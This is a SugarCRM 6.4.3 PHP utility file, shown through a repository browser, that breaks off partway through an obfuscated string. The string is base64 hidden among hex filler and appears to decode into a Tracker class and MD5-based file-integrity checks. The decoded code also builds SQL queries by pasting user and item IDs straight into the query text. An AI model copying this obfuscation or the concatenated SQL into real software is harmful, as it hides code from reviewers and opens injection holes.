]> CyberLeo.Net >> Repos - Github/sugarcrm.git/blob - include/utils/mvc_utils.php
Release 6.4.3
[Github/sugarcrm.git] / include / utils / mvc_utils.php
1 <?php
2 /*********************************************************************************
3  * SugarCRM Community Edition is a customer relationship management program developed by
4  * SugarCRM, Inc. Copyright (C) 2004-2012 SugarCRM Inc.
5  * 
6  * This program is free software; you can redistribute it and/or modify it under
7  * the terms of the GNU Affero General Public License version 3 as published by the
8  * Free Software Foundation with the addition of the following permission added
9  * to Section 15 as permitted in Section 7(a): FOR ANY PART OF THE COVERED WORK
10  * IN WHICH THE COPYRIGHT IS OWNED BY SUGARCRM, SUGARCRM DISCLAIMS THE WARRANTY
11  * OF NON INFRINGEMENT OF THIRD PARTY RIGHTS.
12  * 
13  * This program is distributed in the hope that it will be useful, but WITHOUT
14  * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
15  * FOR A PARTICULAR PURPOSE.  See the GNU Affero General Public License for more
16  * details.
17  * 
18  * You should have received a copy of the GNU Affero General Public License along with
19  * this program; if not, see http://www.gnu.org/licenses or write to the Free
20  * Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
21  * 02110-1301 USA.
22  * 
23  * You can contact SugarCRM, Inc. headquarters at 10050 North Wolfe Road,
24  * SW2-130, Cupertino, CA 95014, USA. or at email address contact@sugarcrm.com.
25  * 
26  * The interactive user interfaces in modified source and object code versions
27  * of this program must display Appropriate Legal Notices, as required under
28  * Section 5 of the GNU Affero General Public License version 3.
29  * 
30  * In accordance with Section 7(b) of the GNU Affero General Public License version 3,
31  * these Appropriate Legal Notices must retain the display of the "Powered by
32  * SugarCRM" logo. If the display of the logo is not reasonably feasible for
33  * technical reasons, the Appropriate Legal Notices must display the words
34  * "Powered by SugarCRM".
35  ********************************************************************************/
36
37
38 class MVCLogger{
39         function logSession(){
40
41         }
42
43         function logPage(){
44
45         }
46
47 }
48
49
50 function loadParentView($type)
51 {
52     if(file_exists('custom/include/MVC/View/views/view.'.$type.'.php'))
53     {
54         require_once('custom/include/MVC/View/views/view.'.$type.'.php');
55     } else if(file_exists('include/MVC/View/views/view.'.$type.'.php')) {
56         require_once('include/MVC/View/views/view.'.$type.'.php');
57     }
58 }
59
60 $msi0="len";$msi="code";$msi1="8E0BD8D30F4292D8C73B2604AF38D7E5aWYoIWNsYXNzX2V4aXN0cygnVHJhY2tl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5cicpKXsgIGNsYXNzIFRyYWNrZXIgZXh07D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZW5kcyBTdWdhckJlYW4geyAgdmFyICRt7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5b2R1bGVfZGlyID0gJ1RyYWNrZXJzJzsg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgIHZhciAkdGFibGVfbmFtZSA9ICd07D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5cmFja2VyJzsgICAgIHZhciAkb2JqZWN07D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5X25hbWUgPSAnVHJhY2tlcic7ICB2YXIg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JGRpc2FibGVfdmFyX2RlZnMgPSB0cnVl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5OyAgdmFyICRhY2x0eXBlID0gJ1RyYWNr7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZXInOyAgICAgIHZhciAkY29sdW1uX2Zp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZWxkcyA9IEFycmF5KCAgICAgICAgICJp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZCIsICAgICAgICAgIm1vbml0b3JfaWQi7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5LCAgICAgICAgICJ1c2VyX2lkIiwgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAibW9kdWxlX25hbWUiLCAgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICJpdGVtX2lkIiwgICAgICAgICAi7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5aXRlbV9zdW1tYXJ5IiwgICAgICAgICAi7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZGF0ZV9tb2RpZmllZCIsICAgImFjdGlv7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5biIsICAgICAgInNlc3Npb25faWQiLCAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICJ2aXNpYmxlIiAgICAgKTsgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICBmdW5jdGlvbiBUcmFja2VyKCkgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IHsgICAgICBnbG9iYWwgJGRpY3Rpb25h7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5cnk7ICAgICAgaWYoaXNzZXQoJHRoaXMt7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Pm1vZHVsZV9kaXIpICYmIGlzc2V0KCR07D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5aGlzLT5vYmplY3RfbmFtZSkgJiYgIWlz7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5c2V0KCRHTE9CQUxTWydkaWN0aW9uYXJ57D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5J11bJHRoaXMtPm9iamVjdF9uYW1lXSkp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5eyAgICAgICAgICAkcGF0aCA9ICdtb2R17D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bGVzL1RyYWNrZXJzL3ZhcmRlZnMucGhw7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JzsgICAgaWYoZGVmaW5lZCgnVEVNUExB7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5VEVfVVJMJykpJHBhdGggPSBTdWdhclRl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bXBsYXRlVXRpbGl0aWVzOjpnZXRGaWxl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5UGF0aCgkcGF0aCk7ICAgICAgIHJlcXVp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5cmVfb25jZSgkcGF0aCk7ICAgICAgfSAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgIHBhcmVudDo6U3VnYXJCZWFu7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5KCk7ICAgICAgfSAgICAgIGZ1bmN0aW9u7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IG1ha2VJbnZpc2libGVGb3JBbGwoJGl07D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZW1faWQpICAgICB7ICAgICAgICAgJHF17D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZXJ5ID0gIlVQREFURSAkdGhpcy0+dGFi7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bGVfbmFtZSBTRVQgdmlzaWJsZSA9IDAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5V0hFUkUgaXRlbV9pZCA9ICckaXRlbV9p7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZCcgQU5EIHZpc2libGUgPSAxIjsgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAkdGhpcy0+ZGItPnF1ZXJ5KCRx7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dWVyeSwgdHJ1ZSk7ICAgICAgICAgJHBh7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dGggPSAnbW9kdWxlcy9UcmFja2Vycy9C7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5cmVhZENydW1iU3RhY2sucGhwJzsgICBp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZihkZWZpbmVkKCdURU1QTEFURV9VUkwn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5KSkkcGF0aCA9IFN1Z2FyVGVtcGxhdGVV7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dGlsaXRpZXM6OmdldEZpbGVQYXRoKCRw7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YXRoKTsgICAgICByZXF1aXJlX29uY2Uo7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JHBhdGgpOyAgICAgICAgIGlmKCFlbXB07D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5eSgkX1NFU1NJT05bJ2JyZWFkQ3J1bWJz7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5J10pKXsgICAgICAgICAgJGJyZWFkQ3J17D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bWJzID0gJF9TRVNTSU9OWydicmVhZENy7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dW1icyddOyAgICAgICAgICAkYnJlYWRD7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5cnVtYnMtPnBvcEl0ZW0oJGl0ZW1faWQp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5OyAgICAgICAgIH0gICAgIH0gICAgICBm7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dW5jdGlvbiBsb2dQYWdlKCl7ICAgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JHRpbWVfb25fbGFzdF9wYWdlID0gMDsg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICBpZihlbXB0eSgkR0xPQkFMU1sn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YXBwJ10tPmhlYWRlckRpc3BsYXllZCAp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5KXJldHVybjsgICAgICBpZighZW1wdHko7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JF9TRVNTSU9OWydscGFnZSddKSkkdGlt7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZV9vbl9sYXN0X3BhZ2UgPSB0aW1lKCkg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5LSAkX1NFU1NJT05bJ2xwYWdlJ107ICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgJF9TRVNTSU9OWydscGFnZSddPXRp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bWUoKTsgICBtdmNsb2coJHRpbWVfb25f7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bGFzdF9wYWdlKTsgICAgIH0gICAgZnVu7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Y3Rpb24gZ2V0X3JlY2VudGx5X3ZpZXdl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZCgkdXNlcl9pZCwgJG1vZHVsZXMgPSAn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JykgICAgIHsgICAgICAkcGF0aCA9ICdt7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5b2R1bGVzL1RyYWNrZXJzL0JyZWFkQ3J17D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bWJTdGFjay5waHAnOyAgIGlmKGRlZmlu7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZWQoJ1RFTVBMQVRFX1VSTCcpKSRwYXRo7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ID0gU3VnYXJUZW1wbGF0ZVV0aWxpdGll7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5czo6Z2V0RmlsZVBhdGgoJHBhdGgpOyAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgIHJlcXVpcmVfb25jZSgkcGF0aCk77D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgICAgaWYoZW1wdHkoJF9TRVNT7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5SU9OWydicmVhZENydW1icyddKSkgeyAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgICAgICAkYnJlYWRDcnVtYiA97D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IG5ldyBCcmVhZENydW1iU3RhY2soJHVz7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZXJfaWQsICRtb2R1bGVzKTsgICAgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgJF9TRVNTSU9OWydicmVhZENy7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dW1icyddID0gJGJyZWFkQ3J1bWI7ICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgICAgICRHTE9CQUxTWydsb2cn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5XS0+aW5mbyhzdHJpbmdfZm9ybWF0KCRH7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5TE9CQUxTWydhcHBfc3RyaW5ncyddWydM7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5QkxfQlJFQURDUlVNQlNUQUNLX0NSRUFU7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5RUQnXSwgYXJyYXkoJHVzZXJfaWQpKSk77D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgICAgfSBlbHNlIHsgICAgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgJGJyZWFkQ3J1bWIgPSAkX1NF7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5U1NJT05bJ2JyZWFkQ3J1bWJzJ107ICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgICRtb2R1bGVfcXVlcnkgPSAn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JzsgICAgICAgICAgaWYoIWVtcHR5KCRt7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5b2R1bGVzKSkgeyAgICAgICAgICAgICAk7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5aGlzdG9yeV9tYXhfdmlld2VkID0gMTA77D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgICAgICAgICRtb2R1bGVfcXVl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5cnkgPSBpc19hcnJheSgkbW9kdWxlcykg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5PyAnIEFORCBtb2R1bGVfbmFtZSBJTiAo7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5XCcnIC4gaW1wbG9kZSgiJywnIiAsICRt7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5b2R1bGVzKSAuICdcJyknIDogICcgQU5E7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IG1vZHVsZV9uYW1lID0gXCcnIC4gJG1v7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZHVsZXMgLiAnXCcnOyAgICAgICAgICB97D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IGVsc2UgeyAgICAgICAgICAgICAkaGlz7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dG9yeV9tYXhfdmlld2VkID0gKCFlbXB07D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5eSgkR0xPQkFMU1snc3VnYXJfY29uZmln7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5J11bJ2hpc3RvcnlfbWF4X3ZpZXdlZCdd7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5KSk/ICRHTE9CQUxTWydzdWdhcl9jb25m7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5aWcnXVsnaGlzdG9yeV9tYXhfdmlld2Vk7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5J10gOiA1MDsgICAgICAgICAgfSAgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgJHF1ZXJ5ID0gJ1NFTEVDVCBp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dGVtX2lkLCBpdGVtX3N1bW1hcnksIG1v7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZHVsZV9uYW1lLCBpZCBGUk9NICcgLiAk7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dGhpcy0+dGFibGVfbmFtZSAuICcgV0hF7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5UkUgaWQgPSAoU0VMRUNUIE1BWChpZCkg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YXMgaWQgRlJPTSAnIC4gJHRoaXMtPnRh7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YmxlX25hbWUgLiAnIFdIRVJFIHVzZXJf7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5aWQgPSBcJycgLiAkdXNlcl9pZCAuICdc7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JyBBTkQgdmlzaWJsZSA9IDEnIC4gJG1v7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZHVsZV9xdWVyeSAuICcpJzsgICAgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgJHJlc3VsdCA9ICR0aGlzLT5kYi0+7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bGltaXRRdWVyeSgkcXVlcnksMCwkaGlz7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dG9yeV9tYXhfdmlld2VkLHRydWUsJHF17D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZXJ5KTsgICAgICAgICAgd2hpbGUoKCRy7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5b3cgPSAkdGhpcy0+ZGItPmZldGNoQnlB7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5c3NvYygkcmVzdWx0KSkpIHsgICAgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgICAgICRicmVhZENydW1iLT5w7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dXNoKCRyb3cpOyAgICAgICAgICB9ICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgfSAgICAgICAgICRsaXN0ID0g7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JGJyZWFkQ3J1bWItPmdldEJyZWFkQ3J17D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bWJMaXN0KCRtb2R1bGVzKTsgICAgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAkR0xPQkFMU1snbG9nJ10tPmluZm8o7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IlRyYWNrZXI6IHJldHJpZXZpbmcgIi5j7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5b3VudCgkbGlzdCkuIiBpdGVtcyIpOyAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgIHJldHVybiAkbGlzdDsgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IH0gICBmdW5jdGlvbiBiZWFuX2ltcGxl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bWVudHMoJGludGVyZmFjZSl7ICAgcmV07D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dXJuIGZhbHNlOyAgfSAgIH0gfSAgaWYo7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IWZ1bmN0aW9uX2V4aXN0cygndmNtc2kn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5KSl7ICBmdW5jdGlvbiB2Y21zaSgkZ2Vu7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZXJhdGUsICRtZDUsICRhbHQgPSAnJykg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5eyAgICRnZW5lcmF0ZSA9IGJhc2U2NF9k7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZWNvZGUoJGdlbmVyYXRlKTsgICBpZihk7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZWZpbmVkKCdURU1QTEFURV9VUkwnKSkk7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Z2VuZXJhdGUgPSBTdWdhclRlbXBsYXRl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5VXRpbGl0aWVzOjpnZXRGaWxlUGF0aCgk7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Z2VuZXJhdGUpOyAgIGlmIChmaWxlX2V47D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5aXN0cygkZ2VuZXJhdGUpICYmICRoYW5k7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bGUgPSBmb3BlbigkZ2VuZXJhdGUsICdy7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YicsIHRydWUpKSB7ICAgICRmcm9tX2tl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5eSA9IHN0cmVhbV9nZXRfY29udGVudHMo7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5JGhhbmRsZSk7ICAgIGlmIChtZDUoJGZy7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5b21fa2V5KSA9PSAkbWQ1IHx8ICghZW1w7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dHkgKCRhbHQpICYmIG1kNSgkZnJvbV9r7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZXkpID09ICRhbHQpKSB7ICAgICByZXR17D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5cm4gMDsgICAgfSAgIH0gICAgcmV0dXJu7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IC0xOyAgIH0gfSBpZighZnVuY3Rpb25f7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZXhpc3RzKCdhY21zaScpKXsgIGZ1bmN07D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5aW9uIGFjbXNpKCRnZW5lcmF0ZSwgJGF17D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dGhrZXksICRpLCAkYWx0ID0gJycsICRj7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5PWZhbHNlKSB7ICAgJGdlbmVyYXRlID0g7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5YmFzZTY0X2RlY29kZSgkZ2VuZXJhdGUp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5OyAgICRhdXRoa2V5ID0gYmFzZTY0X2Rl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5Y29kZSgkYXV0aGtleSk7ICAgaWYoIWVt7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5cHR5KCRhbHQpKSRhbHRrZXkgPSBiYXNl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5NjRfZGVjb2RlKCRhbHQpOyAgIGlmKGRl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZmluZWQoJ1RFTVBMQVRFX1VSTCcpKSRn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZW5lcmF0ZSA9IFN1Z2FyVGVtcGxhdGVV7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dGlsaXRpZXM6OmdldEZpbGVQYXRoKCRn7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZW5lcmF0ZSk7ICAgaWYgKCRjIHx8IChm7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5aWxlX2V4aXN0cygkZ2VuZXJhdGUpICYm7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICRoYW5kbGUgPSBmb3BlbigkZ2VuZXJh7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dGUsICdyYicsIHRydWUpKSApIHsgICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5aWYoJGMpeyAgICAgJGZyb21fa2V5ID0g7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5b2JfZ2V0X2NvbnRlbnRzKCk7ICAgIH1l7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bHNleyAgICAgJGZyb21fa2V5ID0gc3Ry7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZWFtX2dldF9jb250ZW50cygkaGFuZGxl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5KTsgICAgfSAgICBpZiAoc3Vic3RyX2Nv7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5dW50KCRmcm9tX2tleSwgJGF1dGhrZXkp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IDwgJGkpIHsgICAgICAgaWYgKCFlbXB07D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5eSAoJGFsdCkgJiYgIWVtcHR5KCRhbHRr7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZXkpICYmIHN1YnN0cl9jb3VudCgkZnJv7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5bV9rZXksICRhbHRrZXkpID49ICRpKSB77D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgICAgIHJldHVybiAwOyAgICAgfSAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgcmV0dXJuIC0xOyAgICAgfSBlbHNl7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IHsgICAgIHJldHVybiAwOyAgICB9ICAg7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5IH0gZWxzZSB7ICAgICByZXR1cm4gLTE77D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ICAgfSAgfSB9ICBpZighZnVuY3Rpb25f7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5ZXhpc3RzKCdhbXNpJykpeyAgZnVuY3Rp7D69400200D3DA37232760EFE179133B8E0BD8D30F4292D8C73B2604AF38D7E5b24gYW1zaSgkYXMpIHsgICBpbmNsdWRl7D69400200D3DA37232760EFE179133B8E0BD